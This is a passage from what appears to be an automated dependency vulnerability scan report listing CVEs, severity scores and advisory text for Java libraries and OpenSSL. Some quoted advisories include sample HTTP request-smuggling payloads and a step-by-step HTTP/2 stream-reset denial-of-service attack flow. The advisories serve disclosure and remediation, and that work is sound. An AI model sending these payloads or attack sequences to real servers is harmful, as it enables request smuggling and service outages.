Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 1 high: 1 medium: 0 low: 0 org.apache.avro/avro 1.11.2 (maven) + +pkg:maven/org.apache.avro/avro@1.11.2
+critical 9.3: CVE--2024--47561 Deserialization of Untrusted Data + + + + + + + + +
Affected range<1.11.4
Fixed version1.11.4
CVSS Score9.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.543%
EPSS Percentile67th percentile
+ +
Description +
+ +Schema parsing in the Java SDK of Apache Avro 1.11.3 and previous versions allows bad actors to execute arbitrary code. +Users are recommended to upgrade to version 1.11.4 or 1.12.0, which fix this issue. + +
+
+ +high 7.5: CVE--2023--39410 Improper Input Validation + + + + + + + + +
Affected range<1.11.3
Fixed version1.11.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.061%
EPSS Percentile19th percentile
+ +
Description +
+ +When deserializing untrusted or corrupted data, it is possible for a reader to consume memory beyond the allowed constraints and thus lead to out of memory on the system. + +This issue affects Java applications using Apache Avro Java SDK up to and including 1.11.2. Users should update to apache-avro version 1.11.3 which addresses this issue. + +
+
+
+
critical: 1 high: 0 medium: 0 low: 0 org.apache.kerby/kerb-admin 1.0.1 (maven) + +pkg:maven/org.apache.kerby/kerb-admin@1.0.1
+critical 9.8: CVE--2023--25613 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<2.0.3
Fixed version2.0.3
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.189%
EPSS Percentile41st percentile
+ +
Description +
+ +An LDAP Injection vulnerability exists in the LdapIdentityBackend of Apache Kerby before 2.0.3.  + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.077%
EPSS Percentile23rd percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.074%
EPSS Percentile23rd percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 4 medium: 1 low: 0 org.codehaus.jettison/jettison 1.1 (maven) + +pkg:maven/org.codehaus.jettison/jettison@1.1
+high 7.5: CVE--2023--1436 Uncontrolled Recursion + + + + + + + + +
Affected range<1.5.4
Fixed version1.5.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ +An infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown. + +
+
+ +high 7.5: CVE--2022--45693 Out-of-bounds Write + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.135%
EPSS Percentile34th percentile
+ +
Description +
+ +Jettison before v1.5.2 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string. + +
+
+ +high 7.5: CVE--2022--45685 Out-of-bounds Write + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A stack overflow in Jettison before v1.5.2 allows attackers to cause a Denial of Service (DoS) via crafted JSON data. + +
+
+ +high 7.5: CVE--2022--40150 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.055%
EPSS Percentile17th percentile
+ +
Description +
+ +Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by Out of memory. This effect may support a denial of service attack. + +
+
+ +medium 6.5: CVE--2022--40149 Stack-based Buffer Overflow + + + + + + + + +
Affected range<1.5.1
Fixed version1.5.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.521%
EPSS Percentile66th percentile
+ +
Description +
+ +Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. + +
+
+
+
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
+high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.173%
EPSS Percentile39th percentile
+ +
Description +
+ +Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” + +### MadeYouReset Vulnerability Summary +The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. + +### Mechanism +The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). +The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: +1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) +2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) +3. PRIORITY frame with a length other than 5. (section 6.3) +From our experience, the primitives are likely to exist in the decreasing order listed above. +Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. + +The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. +While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. + +Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. + +### Attack Flow +For example, a possible attack scenario can be: +1. Attacker opens an HTTP/2 connection to the server. +2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. +3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. +4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). + +The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. +This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) + +### Comparison to Rapid Reset +The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. +The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. +Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. + +### Suggested Mitigations for MadeYouReset +A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. +It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. + +As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. + + +If you have any questions, we will be happy to clarify or schedule a Zoom call. + +Gal, Anat and Yaniv. + +
+
+ +high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption + + + + + + +
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
+ +
Description +
+ +A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. + +### Impact +This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. + +### Patches +This is patched in version 4.1.100.Final. + +### Workarounds +A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-44487 +- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ +- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ + +
+
+ +high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.427%
EPSS Percentile100th percentile
+ +
Description +
+ +The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. + +
+
+
+
critical: 0 high: 2 medium: 0 low: 0 net.minidev/json-smart 1.3.2 (maven) + +pkg:maven/net.minidev/json-smart@1.3.2
+high 7.5: CVE--2023--1370 Uncontrolled Recursion + + + + + + + + +
Affected range<2.4.9
Fixed version2.4.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.012%
EPSS Percentile1st percentile
+ +
Description +
+ +### Impact +Affected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object. + +When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software. + +### Patches +This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug. + +### Workarounds +N/A + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-1370 +- https://nvd.nist.gov/vuln/detail/CVE-2023-1370 +- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748 + +
+
+ +high 7.5: CVE--2021--31684 Out-of-bounds Read + + + + + + + + +
Affected range>=1.3.0
<1.3.3
Fixed version1.3.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.117%
EPSS Percentile31st percentile
+ +
Description +
+ +A vulnerability was discovered in the indexOf function of JSONParserByteArray in JSON Smart versions prior to 1.3.3 and 2.4.5 which causes a denial of service (DOS) via a crafted web request. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 1 ch.qos.logback/logback-core 1.2.10 (maven) + +pkg:maven/ch.qos.logback/logback-core@1.2.10
+high 7.1: CVE--2023--6378 Deserialization of Untrusted Data + + + + + + + + +
Affected range<1.2.13
Fixed version1.2.13
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.613%
EPSS Percentile69th percentile
+ +
Description +
+ +A serialization vulnerability in logback receiver component part of logback allows an attacker to mount a Denial-Of-Service attack by sending poisoned data. + +This is only exploitable if logback receiver component is deployed. See https://logback.qos.ch/manual/receivers.html + +
+
+ +medium 5.9: CVE--2025--11226 Improper Input Validation + + + + + + + + +
Affected range<1.3.16
Fixed version1.5.19
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution. + +A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges. + +
+
+ +medium 5.9: CVE--2024--12798 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') + + + + + + + + +
Affected range<1.3.15
Fixed version1.3.15
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear
EPSS Score0.290%
EPSS Percentile52nd percentile
+ +
Description +
+ +ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. + +Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. + +A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege. + +
+
+ +low 2.4: CVE--2024--12801 Server-Side Request Forgery (SSRF) + + + + + + + + +
Affected range<1.3.15
Fixed version1.3.15
CVSS Score2.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear
EPSS Score0.048%
EPSS Percentile15th percentile
+ +
Description +
+ +Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. + +The attacks involves the modification of DOCTYPE declaration in  XML configuration files. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+ +medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
